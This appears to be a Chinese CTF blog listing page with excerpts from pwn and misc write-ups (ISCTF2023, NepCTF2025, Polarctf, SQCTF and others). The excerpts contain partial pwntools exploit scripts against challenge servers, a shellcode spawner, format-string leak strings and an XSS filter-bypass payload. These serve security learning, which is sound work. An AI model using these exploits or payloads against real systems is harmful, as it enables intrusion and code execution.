ISCTF2023
stack一道不错的题目,让我对pwndbg的使用进一步的熟练 程序代码很简单,自定义输入字符串长度,通过循环不断输入,那么可以造成栈溢出,并且存在后门函数。但是此题的关键在于变量i会被覆盖,那么就会导致程序根据i将我们输入的东西写入到另一个地方。 因此,我们可以找准i的偏移,防止其被覆盖,我们就可以正常栈溢出到返回地址。 from pwn import*io=remote('challenge.imxbt.cn',20197)#io=process('./stack')ret=0x040101abackdoor=0x4012E6def debug(): gdb.attach(io) ...
XYNU2024信安杯
全是简单题目,直接上exp NC直接nc连接,然后ls+cat flag即可。 shellcodefrom pwn import*context.arch='amd64'io=remote('gz.imxbt.cn',20029)shellcode=asm(shellcraft.sh())io.sendline(shellcode)io.interactive() ret2libcfrom pwn...
ctfshow-pwn入门
Test_your_ncpwn0 pwn1 发现nc连接后可以直接获得flag。 pwn2 发现直接给了我们shell,只需要nc连接后并执行cat /ctfshow_flag命令即可获得flag。 pwn3 程序本身很简单,就是找到哪个函数能够获得flag。 直接选6即可获得flag。 但是在这里有一个迷惑选项4,就是echo /ctfshow_flag命令。 echo命令:是Linux系统中的一个基础命令,用于在终端输出文本或变量值,常用于脚本中显示信息、调试或生成文件。常用选项:-n 不换行;-e 启用转义字符解释。高级用法:使用重定向将输出保存到文件,如echo “aaaa” > output.txt;追加内容到文件,如echo “aaaa” >>...
0xGame2024-复现
where_is_my_binsh 一道简单的题目,存在栈溢出以及system函数,没有/bin/sh\x00字符串,给了变量something的地址,那么就先输入/bin/sh\x00字符串再打ret2text。 from pwn import*io=remote('gz.imxbt.cn',20884)elf=ELF('./where_is_my_binsh')bin_sh=0x0404090system=elf.sym['system']ret=0x040101ardi=0x0401323io.sendlineafter('If you want it ,then you have to create...
2025_SWPU_NSSCTF_秋季招新训练赛
口算题卡一道计算题,主要考察脚本的编写,但因为没有时间限制,所以可以直接算100道题。 from pwn import*s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)r = lambda n=None: io.recv(n)ra = lambda t=tube.forever: io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rls = lambda n=2**20: io.recvlines(n)su = lambda buf,addr: io.success(buf + "==>" + hex(addr))io =...
nepctf2025
time 本题可以任意文件读取但会检测不能存在flag,使用pthread执行文件内容读取函数。本题主要考察了格式化字符串漏洞以及多线程条件竞争漏洞。 首先由于本题存在格式化字符串漏洞,因此可以利用该漏洞泄漏flag,于是得知道偏移量是多少。 若直接使用gdb.attach(io,’b *$rebase(0x2D08)’)会发现无法触发断点,是因为gdb尝试脱离父进程并附加子进程,就会无法调试父进程,此时可以set follow-fork-mode parent,使gdb始终保持对父进程的附加调试。 可以看出偏移量为22,那么就可以使用%22$p-%23$p-%24$p-%25$p-%26$p-%27$p-%28$p-%29$p泄漏flag。 接着就是条件竞争绕过对flag的检查,因为每次输入文件名后并不是直接执行start_routine函数,而是通过 pthread_create函数创建新的线程执行,那么这里存在时间竞争漏洞,我们先输入合法的文件名绕过检查,接着...
Polarctf2025夏季赛
PWNflow 这题主要考了一个整数溢出, unsigned __int8 n9的取值范围是0-255,因此我们可以输入长度为257的字符串使得n9的值绕过if判断,在这里需要了解python中ljust的使用。 Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。即若代码为 str="aaaa"print(str.ljust(50,b'0')) 那么会打印出aaaa0000…000,因此就可以优化脚本的编写。exp如下: from pwn...
2025日常琐事
...
2025SQCTF
很荣幸参加了第四届SQCTF,作为新生赛,难度还可以,因为本人能力还不够,并没能够akpwn,还得再努力努力(毕竟是想打XCTF的,这点实力是肯定不行的。 浅红欺醉粉,肯信有江梅一道简单到不能再简单的nc签到题。 领取你的小猫娘这是一道64位的题,基本没开什么保护。 这里可以看到有一个后门函数,其判断条件为v5的值为真,因为我们能输入的是v4,而且观察栈上结构可以知道地址相差0x50-4。所以可以通过输入覆盖到v5并将v5的值变为真即可。 from pwn...
Polarctf2025春季赛
Misc可老师签到这是一道比较有意思的签到题,难点在于如何理解它给的提示。 本题是一个游戏题,最后会让我们关注公众号,发送两次flag(这是关键,并非是最后提交时让flag*2),获得正确的flag。 find这依旧是一道比较有趣的杂项题,主办方给了我们一个flag.xlsx工作表。 发现全是空白,然后也没有任何与flag相关的东西,于是,我猜测其可能是被隐藏了,仔细观察发现有些表格使用的是粗体,有些什么都没有,因此就证实了我的猜测,其可能是全部被弄成白色了,于是我打算将其变为黑色。 替换后进行对行高的调整发现是一个二维码,最后使用工具扫码获得flag。 Web来个弹窗打开所给网址可以看到这是一道XSS漏洞题目,首先输入一个基础的 <script>alert(1)</script> ,发现返回空,因此我们进行双写绕过 "><scscriptript>alert(1)</scscriptript> 发现可以,获得一张图片,提示是flag就是该人物名称md5加密。 0e事件打开网站可以看到一个提示:请通过...